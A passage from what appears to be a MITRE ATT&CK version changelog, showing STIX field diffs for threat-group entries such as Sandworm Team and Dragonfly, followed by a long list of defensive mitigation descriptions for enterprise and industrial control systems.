| external_references[11]['url'] | https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/ | https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html |
| external_references[12]['source_name'] | Crowdstrike Helix Kitten Nov 2018 | Unit 42 QUADAGENT July 2018 |
| external_references[12]['description'] | Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018. | Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018. |
| external_references[12]['url'] | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/ | https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/ |
| x_mitre_version | 1.4 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | COBALT GYPSY | |
| external_references | {'source_name': 'Secureworks COBALT GYPSY Threat Profile', 'description': 'Secureworks. (n.d.). COBALT GYPSY Threat Profile. Retrieved April 14, 2021.', 'url': 'https://www.secureworks.com/research/threat-profiles/cobalt-gypsy'} | |
| external_references | {'source_name': 'Crowdstrike Helix Kitten Nov 2018', 'description': 'Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.', 'url': 'https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a | t | 1 | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a |
| > | destructive Russian threat group that has been attributed to | > | destructive threat group that has been attributed to Russia' | ||
| > | Russian GRU Unit 74455 by the U.S. Department of Justice an | > | s General Staff Main Intelligence Directorate (GRU) Main Cen | ||
| > | d U.K. National Cyber Security Centre. [Sandworm Team](https | > | ter for Special Technologies (GTsST) military unit 74455.(Ci | ||
| > | ://attack.mitre.org/groups/G0034)'s most notable attacks inc | > | tation: US District Court Indictment GRU Unit 74455 October | ||
| > | lude the 2015 and 2016 targeting of Ukrainian electrical com | > | 2020)(Citation: UK NCSC Olympic Attacks October 2020) This g | ||
| > | panies and 2017's [NotPetya](https://attack.mitre.org/softwa | > | roup has been active since at least 2009.(Citation: iSIGHT S | ||
| > | re/S0368) attacks. [Sandworm Team](https://attack.mitre.org/ | > | andworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: U | ||
| > | groups/G0034) has been active since at least 2009.(Citation: | > | SDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) I | ||
| > | iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Ci | > | n October 2020, the US indicted six GRU Unit 74455 officers | ||
| > | tation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb | > | associated with [Sandworm Team](https://attack.mitre.org/gro | ||
| > | 2020) | > | ups/G0034) for the following cyber operations: the 2015 and | ||
| > | 2016 attacks against Ukrainian electrical companies and gove | ||||
| > | rnment organizations, the 2017 worldwide [NotPetya](https:// | ||||
| > | attack.mitre.org/software/S0368) attack, targeting of the 20 | ||||
| > | 17 French presidential campaign, the 2018 [Olympic Destroyer | ||||
| > | ](https://attack.mitre.org/software/S0365) attack against th | ||||
| > | e Winter Olympic Games, the 2018 operation against the Organ | ||||
| > | isation for the Prohibition of Chemical Weapons, and attacks | ||||
| > | against the country of Georgia in 2018 and 2019.(Citation: | ||||
| > | US District Court Indictment GRU Unit 74455 October 2020)(Ci | ||||
| > | tation: UK NCSC Olympic Attacks October 2020) Some of these | ||||
| > | were conducted with the assistance of GRU Unit 26165, which | ||||
| > | is also referred to as [APT28](https://attack.mitre.org/grou | ||||
| > | ps/G0007).(Citation: US District Court Indictment GRU Oct 20 | ||||
| > | 18) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-04 01:56:59.493000+00:00 | 2021-04-13 13:13:09.511000+00:00 |
| description | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive Russian threat group that has been attributed to Russian GRU Unit 74455 by the U.S. Department of Justice and U.K. National Cyber Security Centre. [Sandworm Team](https://attack.mitre.org/groups/G0034)'s most notable attacks include the 2015 and 2016 targeting of Ukrainian electrical companies and 2017's [NotPetya](https://attack.mitre.org/software/S0368) attacks. [Sandworm Team](https://attack.mitre.org/groups/G0034) has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) In October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018) |
| external_references[1]['description'] | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014) | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[2]['description'] | (Citation: Dragos ELECTRUM) | (Citation: Dragos ELECTRUM)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[3]['description'] | (Citation: NCSC Sandworm Feb 2020) | (Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[4]['description'] | (Citation: Secureworks IRON VIKING ) | (Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[5]['description'] | (Citation: NCSC Sandworm Feb 2020) | (Citation: NCSC Sandworm Feb 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[6]['description'] | Based on similarities between TTPs, malware, and targeting, Sandworm Team and Quedagh appear to refer to the same group. (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[7]['description'] | (Citation: CrowdStrike VOODOO BEAR) | (Citation: CrowdStrike VOODOO BEAR)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[8]['source_name'] | iSIGHT Sandworm 2014 | US District Court Indictment GRU Unit 74455 October 2020 |
| external_references[8]['description'] | Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017. | Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020. |
| external_references[8]['url'] | https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html | https://www.justice.gov/opa/press-release/file/1328521/download |
| external_references[9]['source_name'] | CrowdStrike VOODOO BEAR | UK NCSC Olympic Attacks October 2020 |
| external_references[9]['description'] | Meyers, A. (2018, January 19). Meet CrowdStrike’s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018. | UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020. |
| external_references[9]['url'] | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/ | https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games |
| external_references[10]['source_name'] | USDOJ Sandworm Feb 2020 | iSIGHT Sandworm 2014 |
| external_references[10]['description'] | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020. | Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017. |
| external_references[10]['url'] | https://www.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/ | https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html |
| external_references[11]['source_name'] | NCSC Sandworm Feb 2020 | CrowdStrike VOODOO BEAR |
| external_references[11]['description'] | NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020. | Meyers, A. (2018, January 19). Meet CrowdStrike’s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018. |
| external_references[11]['url'] | https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/ |
| external_references[12]['source_name'] | F-Secure BlackEnergy 2014 | USDOJ Sandworm Feb 2020 |
| external_references[12]['description'] | F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016. | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020. |
| external_references[12]['url'] | https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf | https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html |
| external_references[13]['source_name'] | InfoSecurity Sandworm Oct 2014 | NCSC Sandworm Feb 2020 |
| external_references[13]['description'] | Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian ‘Sandworm’ Hackers. Retrieved October 6, 2017. | NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020. |
| external_references[13]['url'] | https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/ | https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory |
| external_references[14]['source_name'] | Dragos ELECTRUM | US District Court Indictment GRU Oct 2018 |
| external_references[14]['description'] | Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020. | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. |
| external_references[14]['url'] | https://www.dragos.com/resource/electrum/ | https://www.justice.gov/opa/page/file/1098481/download |
| external_references[15]['source_name'] | Secureworks IRON VIKING | F-Secure BlackEnergy 2014 |
| external_references[15]['description'] | Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020. | F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016. |
| external_references[15]['url'] | https://www.secureworks.com/research/threat-profiles/iron-viking | https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'InfoSecurity Sandworm Oct 2014', 'description': 'Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian ‘Sandworm’ Hackers. Retrieved October 6, 2017.', 'url': 'https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/'} | |
| external_references | {'source_name': 'Dragos ELECTRUM', 'description': 'Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020.', 'url': 'https://www.dragos.com/resource/electrum/'} | |
| external_references | {'source_name': 'Secureworks IRON VIKING ', 'description': 'Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020.', 'url': 'https://www.secureworks.com/research/threat-profiles/iron-viking'} |
Current version: 1.5
Version changed from: 1.4 → 1.5
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-02 16:21:21.624000+00:00 | 2021-03-18 16:34:25.941000+00:00 |
| x_mitre_version | 1.4 | 1.5 |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Dragonfly](https://attack.mitre.org/groups/G0035) Dragonfly | t | 1 | [Dragonfly](https://attack.mitre.org/groups/G0035) is a cybe |
| > | is a cyber espionage group that has been active since at le | > | r espionage group that has been active since at least 2011. | ||
| > | ast 2011. They initially targeted defense and aviation compa | > | They initially targeted defense and aviation companies but s | ||
| > | nies but shifted to focus on the energy sector in early 2013 | > | hifted to focus to include the energy sector in early 2013. | ||
| > | . They have also targeted companies related to industrial co | > | They have also targeted companies related to industrial cont | ||
| > | ntrol systems. (Citation: Symantec Dragonfly)(Citation: Secu | > | rol systems. (Citation: Symantec Dragonfly)(Citation: Secure | ||
| > | reworks IRON LIBERTY July 2019) A similar group emerged in | > | works IRON LIBERTY July 2019) A similar group emerged in 20 | ||
| > | 2015 and was identified by Symantec as [Dragonfly 2.0](https | > | 15 and was identified by Symantec as [Dragonfly 2.0](https:/ | ||
| > | ://attack.mitre.org/groups/G0074). There is debate over the | > | /attack.mitre.org/groups/G0074). There is debate over the ex | ||
| > | extent of the overlap between [Dragonfly](https://attack.mit | > | tent of the overlap between [Dragonfly](https://attack.mitre | ||
| > | re.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitr | > | .org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre. | ||
| > | e.org/groups/G0074), but there is sufficient evidence to lea | > | org/groups/G0074), but there is sufficient evidence to lead | ||
| > | d to these being tracked as two separate groups. (Citation: | > | to these being tracked as two separate groups. (Citation: Sy | ||
| > | Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2. | > | mantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 | ||
| > | 0 Sept 2017)(Citation: Dragos DYMALLOY ) | > | Sept 2017)(Citation: Dragos DYMALLOY ) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 22:42:00.531000+00:00 | 2021-04-06 18:40:51.440000+00:00 |
| description | [Dragonfly](https://attack.mitre.org/groups/G0035) Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019) A similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | [Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus to include the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019) A similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-04 23:31:36.937000+00:00 | 2021-02-09 14:34:04.242000+00:00 |
Current version: 1.0
Description: [Leafminer](https://collaborate.mitre.org/attackics/index.php/Group/G0004) is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. (Citation: Symantec Leafminer July 2018)
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-31 13:08:45.966000+00:00 | 2020-11-19 20:44:07.442000+00:00 |
Current version: 1.0
Description: Identify and correct GPO permissions abuse opportunities (ex: GPO modification privileges) using auditing tools such as Bloodhound (version 1.5.1 and later)(Citation: GitHub Bloodhound). Consider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.(Citation: Wald0 Guide to GPOs)(Citation: Microsoft WMI Filters)(Citation: Microsoft GPO Security Filtering)
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Enterprises can vet applications for exploitable vulnerabili | t | 1 | Enterprises can vet applications for exploitable vulnerabili |
| > | ties or unwanted (privacy-invasive or malicious) behaviors. | > | ties or unwanted (privacy-invasive or malicious) behaviors. | ||
| > | Enterprises can inspect applications themselves or use a thi | > | Enterprises can inspect applications themselves or use a thi | ||
| > | rd-party service. Enterprises may impose policies to only a | > | rd-party service. Enterprises may impose policies to only a | ||
| > | llow pre-approved applications to be installed on their devi | > | llow pre-approved applications to be installed on their devi | ||
| > | ces or may impose policies to block use of specific applicat | > | ces or may impose policies to block use of specific applicat | ||
| > | ions known to have issues. In Bring Your Own Device (BYOD) e | > | ions known to have issues. In Bring Your Own Device (BYOD) e | ||
| > | nvironments, enterprises may only be able to impose these po | > | nvironments, enterprises may only be able to impose these po | ||
| > | licies over an enterprise-managed portion of the device. Ap | > | licies over an enterprise-managed portion of the device. Ap | ||
| > | plication Vetting is not a complete mitigation. Techniques s | > | plication Vetting is not a complete mitigation. Techniques s | ||
| > | uch as [Detect App Analysis Environment](https://attack.mitr | > | uch as [Evade Analysis Environment](https://attack.mitre.org | ||
| > | e.org/techniques/T1440) exist that can enable adversaries to | > | /techniques/T1523) exist that can enable adversaries to bypa | ||
| > | bypass vetting. | > | ss vetting. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-10-18 15:53:07.393000+00:00 | 2021-02-18 16:14:17.809000+00:00 |
| description | Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service. Enterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device. Application Vetting is not a complete mitigation. Techniques such as [Detect App Analysis Environment](https://attack.mitre.org/techniques/T1440) exist that can enable adversaries to bypass vetting. | Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service. Enterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device. Application Vetting is not a complete mitigation. Techniques such as [Evade Analysis Environment](https://attack.mitre.org/techniques/T1523) exist that can enable adversaries to bypass vetting. |
Current version: 1.0
Description: Configure features related to account use like login attempt lockouts, specific login times, etc.
Current version: 1.0
Description: Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.
Current version: 1.0
Description: Use signatures or heuristics to detect malicious software. Within industrial control environments, antivirus/antimalware installations should be limited to assets that are not involved in critical or real-time operations. To minimize the impact to system availability, all products should first be validated within a representative test environment before deployment to production systems.(Citation: CISA Antivirus ICS August 2018)
Current version: 1.0
Description: This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.
Current version: 1.0
Description: Restrict execution of code to a virtual environment on or in transit to an endpoint system.
Current version: 1.0
Description: Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses. Perform periodic integrity checks of the device to validate the correctness of the firmware, software, programs, and configurations. Integrity checks, which typically include cryptographic hashes or digital signatures, should be compared to those obtained at known valid states, especially after events like device reboots, program downloads, or program restarts.
Current version: 1.0
Description: Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.
Current version: 1.0
Description: Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.
Current version: 1.0
Description: Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise. Maintain and exercise incident response plans, including the management of 'gold-copy' back-up images and configurations for key systems to enable quick recovery and response from adversarial activities that impact control, view, or availability.
Current version: 1.0
Description: Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.
Current version: 1.0
Description: Protect sensitive information with strong encryption.
Current version: 1.0
Description: Block execution of code on a system through application control, and/or script blocking.
Current version: 1.0
Description: Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.
Current version: 1.1
Description: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols. Application allowlists are beneficial when there are well-defined communication sequences, types, rates, or patterns needed during expected system operations. Application denylists may be needed if all acceptable communication sequences cannot be defined, but instead a set of known malicious uses can be denied (e.g., excessive communication attempts, shutdown messages, invalid commands). Devices performing these functions are often referred to as deep-packet inspection (DPI) firewalls, context-aware firewalls, or firewalls blocking specific automation/SCADA protocol aware firewalls.
Current version: 1.0
Description: Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.
Current version: 1.0
Description: Block users or groups from installing or using unapproved hardware on systems, including USB devices.
Current version: 1.0
Description: Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator. Within industrial control environments assets such as low-level controllers, workstations, and HMIs have real-time operational control and safety requirements which may restrict the use of multi-factor.
Current version: 1.0
Description: Use intrusion detection signatures to block traffic at network boundaries. In industrial control environments, network intrusion prevention should be configured so it will not disrupt protocols and communications responsible for real-time functions related to control or safety.
Current version: 1.0
Description: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Restrict network access to only required systems and services. In addition, prevent systems from other networks or business functions (e.g., enterprise) from accessing critical process control systems. For example, in IEC 62443, systems within the same secure level should be grouped into a 'zone', and access to that zone is restricted by a 'conduit', or mechanism to restrict data flows between zones by segmenting the network.
Current version: 1.0
Description: Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.
Current version: 1.0
Description: Set and enforce secure password policies for accounts.
Current version: 1.0
Description: Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.
Current version: 1.0
Description: Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.
Current version: 1.0
Description: Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.
Current version: 1.0
Description: Restrict the ability to modify certain hives or keys in the Windows Registry.
Current version: 1.0
Description: Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.
Current version: 1.0
Description: Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.
Current version: 1.0
Description: Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.
Current version: 1.0
Description: Implement a supply chain management program, including policies and procedures to ensure all devices and components originate from a trusted supplier and are tested to verify their integrity.
Current version: 1.0
Description: A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.
Current version: 1.0
Description: Perform regular software updates to mitigate exploitation risk. Software updates may need to be scheduled around operational down times.
Current version: 1.0
Description: Manage the creation, modification, use, and permissions associated to user accounts.
Current version: 1.0
Description: Train users to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.
Current version: 1.0
Description: Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['NIST SP 800-53 Rev. 4 - AC-3', 'IEC 62443-3-3:2013 - SR 2.1', 'IEC 62443-4-2:2019 - CR 2.1'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 13:55:21.233000+00:00 | 2020-09-25 13:05:21.233000+00:00 |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['NIST SP 800-53 Rev. 4 - AC-3'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 20:53:36.319000+00:00 | 2021-04-12 16:00:36.319000+00:00 |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['NIST SP 800-53 Rev. 4 - CP-9'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:50:45.681000+00:00 | 2020-09-29 16:53:45.681000+00:00 |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['NIST SP 800-53 Rev. 4 - IA-9', 'IEC 62443-3-3:2013 - SR 1.2', 'IEC 62443-4-2:2019 - CR 1.2'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:50:45.681000+00:00 | 2020-09-25 14:47:45.681000+00:00 |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['NIST SP 800-53 Rev. 4 - CM-7', 'IEC 62443-3-3:2013 - SR 7.7', 'IEC 62443-4-2:2013 - CR 7.7'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:50:45.681000+00:00 | 2020-09-25 15:01:45.681000+00:00 |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['IEC 62443-4-2:2019 - CR 7.2'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:50:45.681000+00:00 | 2020-09-29 17:25:45.681000+00:00 |
Current version: 1.0
Description: Configure features related to account use like login attempt lockouts, specific login times, etc.
Current version: 1.1
Description: Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.
Current version: 1.1
Description: Use signatures or heuristics to detect malicious software.
Current version: 1.0
Description: This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.
Current version: 1.1
Description: Restrict execution of code to a virtual environment on or in transit to an endpoint system.
Current version: 1.1
Description: Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.
Current version: 1.0
Description: Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.
Current version: 1.1
Description: Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.
Current version: 1.1
Description: Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.
Current version: 1.1
Description: Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.
Current version: 1.0
Description: Protect sensitive information with strong encryption.
Current version: 1.1
Description: Block execution of code on a system through application control, and/or script blocking.
Current version: 1.1
Description: Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.
Current version: 1.1
Description: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.
Current version: 1.0
Description: Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.
Current version: 1.0
Description: Block users or groups from installing or using unapproved hardware on systems, including USB devices.
Current version: 1.0
Description: Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.
Current version: 1.0
Description: Use intrusion detection signatures to block traffic at network boundaries.
Current version: 1.1
Description: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Configure separate virtual private cloud (VPC) instances to isolate critical cloud systems.
Current version: 1.1
Description: Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.
Current version: 1.0
Description: Set and enforce secure password policies for accounts.
Current version: 1.1
Description: Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.
Current version: 1.1
Description: Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.
Current version: 1.0
Description: Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.
Current version: 1.0
Description: Restrict the ability to modify certain hives or keys in the Windows Registry.
Current version: 1.0
Description: Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.
Current version: 1.0
Description: Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.
Current version: 1.1
Description: Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.
Current version: 1.0
Description: A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.
Current version: 1.0
Description: Perform regular software updates to mitigate exploitation risk.
Current version: 1.1
Description: Manage the creation, modification, use, and permissions associated to user accounts.
Current version: 1.1
Description: Train users to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.
Current version: 1.1
Description: Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.